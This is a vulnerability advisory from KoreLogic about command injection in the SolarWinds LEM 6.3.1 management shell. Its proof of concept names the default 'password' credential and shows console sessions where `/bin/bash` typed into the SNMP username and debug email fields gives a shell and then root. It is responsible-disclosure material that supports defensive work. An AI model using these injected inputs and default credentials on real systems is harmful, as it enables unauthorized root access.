KL-001-2017-007 : Solarwinds LEM Management Shell Escape via Command Injection Title: Solarwinds LEM Management Shell Escape via Command Injection Advisory ID: KL-001-2017-007 Publication Date: 2017.04.24 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-007.txt 1. Vulnerability Details Affected Vendor: Solarwinds Affected Product: Log and Event Manager Virtual Appliance Affected Version: v6.3.1 Platform: Embedded Linux CWE Classification: CWE-78: Improper Neutralization of Special Elements used in an OS Command Impact: Privileged Access Attack vector: SSH 2. Vulnerability Description Insufficient input validation in the management interface can be leveraged in order to execute arbitrary commands. This can lead to (root) shell access to the underlying operating system. 3. Technical Description Should an attacker gain access to the SSH console for the cmc user, root access to the underlying operating system can be achieved. The default password for the cmc user is "password". This report details two distinct attack vectors: the username input during SNMP setup and the destination email input during debug. ============ = SNMP = ============ This is accomplished by placing `/bin/bash` in the username input during SNMP server setup. $ ssh cmc@1.3.3.7 Password: Linux swi-lem 3.2.0-3-amd64 #1 SMP Mon Jul 23 02:45:17 UTC 2012 x86_64 Last login: Sun Dec 11 11:25:07 2016 from 1.3.3.6 ////////////////////////////////////////////////// /// SolarWinds Log & Event Manager /// /// management console /// ////////////////////////////////////////////////// Detected VMware Virtual Platform Product Support Key: RPFYJ-2L3RW-RV5T-GA3K-VLULC-XAPTH Available commands: [ appliance ] Network, System [ manager ] Upgrade, Debug [ service ] Restrictions, SSH, Snort [ ndepth ] nDepth Configuration/Maintenance upgrade Upgrade this Appliance admin Run Admin UI (for better usability browse https://1.3.3.7/mvc/configuration) import Import a file that can be used from the Admin UI help display this help exit Exit cmc > service Available commands: startssh Start the SSH Service stopssh Stop the SSH Service restartssh Restart the SSH Service restrictssh Restrict Access to the SSH Service (by IP Address/hostname) unrestrictssh Remove Restrictions on Access to the SSH Service snmp Configure the SNMP Services copysnortrules Copy Snort rules to floppy or network share loadsnortrules Load Snort rules from floppy or network share loadsnortbackup Load Snort rules from backup restartsnort Restart the Snort Service enableflow * Enable the flow Collection Service disableflow Disable the flow Collection Service restrictconsole Restrict Access to the Manager Console (GUI) by IP/hostname unrestrictconsole Remove Restrictions on Access to the Console (GUI) restrictreports Restrict Access to Reports by IP/hostname unrestrictreports Remove Restrictions on Access to Reports stopopsec Stop all running OPSEC LEA client connections help display this help exit Return to main menu NOTE: Commands with an asterisk (*) include an automatic manager service restart cmc::service > snmp SNMP Trap Logging Service is RUNNNING Would you like to STOP the SNMP Trap Logging Service? [Y/n] Y SNMP Request Service is RUNNNING Would you like to STOP the SNMP Request Service? [Y/n] Y The SNMP Trap Logging Service is stopped. The SNMP Request Service is stopped. cmc::service > snmp SNMP Trap Logging Service is DISABLED Would you like to ENABLE the SNMP Trap Logging Service? [Y/n] Y SNMP Request Service is DISABLED Would you like to ENABLE the SNMP Request Service? [Y/n] Y Enter the port number to access SNMP on LEM (default: 161): Enter the username to access SNMP on LEM (default: orion): `/bin/bash` Enter the password hashing algorithm (SHA1, MD5 or NO for no authentication, default: SHA1): Enter the authentication password (default: orion123): Enter the communication encryption algorithm (AES128, DES56 or NO for no encryption, default: AES128): Enter the encryption key (default: orion123): cmc@swi-lem:/usr/local/contego$ ============ = Debug = ============ This is accomplished by placing `/bin/bash` in the destination email input during debug. $ ssh cmc@1.3.3.7 Password: Linux swi-lem 3.2.0-3-amd64 #1 SMP Mon Jul 23 02:45:17 UTC 2012 x86_64 Last login: Sun Dec 11 23:57:16 2016 from 1.3.3.6 ////////////////////////////////////////////////// /// SolarWinds Log & Event Manager /// /// management console /// ////////////////////////////////////////////////// Detected VMware Virtual Platform Product Support Key: RPFYJ-2L3RW-RV5T-GA3K-VLULC-XAPTH Available commands: [ appliance ] Network, System [ manager ] Upgrade, Debug [ service ] Restrictions, SSH, Snort [ ndepth ] nDepth Configuration/Maintenance upgrade Upgrade this Appliance admin Run Admin UI (for better usability browse https://1.3.3.7/mvc/configuration) import Import a file that can be used from the Admin UI help display this help exit Exit cmc > manager Available commands: actortoolupgrade * Upgrade your Manager's Actor Tools (CD/floppy) archiveconfig Set your Manager Database Archive Schedule/Settings backupconfig Set your Manager Backup Schedule/Settings cleanagentconfig Reconfigure the agent on this box to a new manager configurendepth * Configure the manager to use an nDepth server. confselfsignedcert * Configure the manager to use a self signed certificate dbrestart Restart database debug Send Debugging Information to an Alternate Address disabletls Disable TLS for DB connections enabletls Enable TLS for DB connections exportcert Export the CA certificate for console exportcertrequest Export a certificate request for signing by CA hotfix Install LEM hotfix. importcert * Import a certificate used for console communication importl4ca * Import a CA of the other node in L4 configuration licenseupgrade * Upgrade your Manager License (CD/floppy/network) logbackupconfig Set your Manager Log Backup Schedule/Settings resetadmin Reset the "admin" user password to default restart * Restart Manager Service sensortoolupgrade Upgrade your Manager and Agent Sensor Tools (CD/floppy) showlog Show Manager Log File showmanagermem Show the memory setting of SolarWinds manager start Start Manager Service stop * Stop Manager Service support Send Debugging Information to Tech Support @trigeo.com togglehttp * Enable or disable HTTP (port 80). viewsysinfo Show information about machine and SolarWinds manager watchlog Watch Manager Log File exit Return to main menu NOTE: Commands with an asterisk (*) include an automatic manager service restart cmc::manager > debug Press <enter> to capture debugging information You will need to provide an SMTP server or Windows File Sharing Credentials Collecting general system information......UpdateInfo failed: VMware Guest API is not enabled on the host UpdateInfo failed: VMware Guest API is not enabled on the host UpdateInfo failed: VMware Guest API is not enabled on the host UpdateInfo failed: VMware Guest API is not enabled on the host UpdateInfo failed: VMware Guest API is not enabled on the host UpdateInfo failed: VMware Guest API is not enabled on the host .e.sudo: unable to resolve host swi-lem sudo: unable to resolve host swi-lem .cat: /etc/hosts: No such file or directory done. sudo: unable to resolve host swi-lem E-Mail/Network share/Quit? (e/n/q) e E-Mail/Network share/Quit? (e/n/q) e Please enter the e-mail recipient: (e.g. support@trigeo.com) > `/bin/bash >&2` Is the e-mail address <`/bin/bash >&2`> correct? <Y/n> Y Please enter the name this message should appear from (e.g. Someone Important) > Test Is the name Test correct? <Y/n> Y Please enter the e-mail address this message should appear from (e.g. someone@trigeo.com) > fake@localhost Is the e-mail address fake@localhost correct? <Y/n> Y Please enter the SMTP server you wish to send mail through (e.g. smtp.yournetwork.com) > 127.0.0.1 Is the SMTP server 127.0.0.1 correct? <Y/n> Y Please enter the name of your company (e.g. Initech, Post Falls branch or Veridian Dynamics) > Test Is the company Test correct? <Y/n> Y Please enter a phone number where you can be reached (e.g. 509.555.1234) > Test Is the number Test correct? <Y/n> Y --(0)-[1.3.3.7]-[6.3.1]-[root@swi-lem]-- /tmp # id uid=0(root) gid=0(root) groups=0(root) --(0)-[1.3.3.7]-[6.3.1]-[root@swi-lem]-- 4. Mitigation and Remediation Recommendation The vendor has released a Hotfix to remediate this vulnerability. Hotfix and installation instructions are available at: https://thwack.solarwinds.com/thread/111223 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) and Hank Leininger of KoreLogic, Inc. 6. Disclosure Timeline 2017.02.16 - KoreLogic sends vulnerability report and PoC to Solarwinds <psirt@solarwinds.com> using PGP key with fingerprint A86E 0CF6 9665 0C8C 8A7C C9BA B373 8E9F 951F 918F. 2017.02.20 - Solarwinds replies that the key is no longer in use, requests alternate communication channel. 2017.02.22 - KoreLogic submits vulnerability report and PoC to alternate Solarwinds contact. 2017.02.23 - Solarwinds confirms receipt of vulnerability report. 2017.04.06 - 30 business days have elapsed since Solarwinds acknowledged receipt of vulnerability details. 2017.04.11 - Solarwinds releases hotfix and public disclosure. 2017.04.24 - KoreLogic public disclosure. 7. Proof of Concept See 3. Technical Description The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt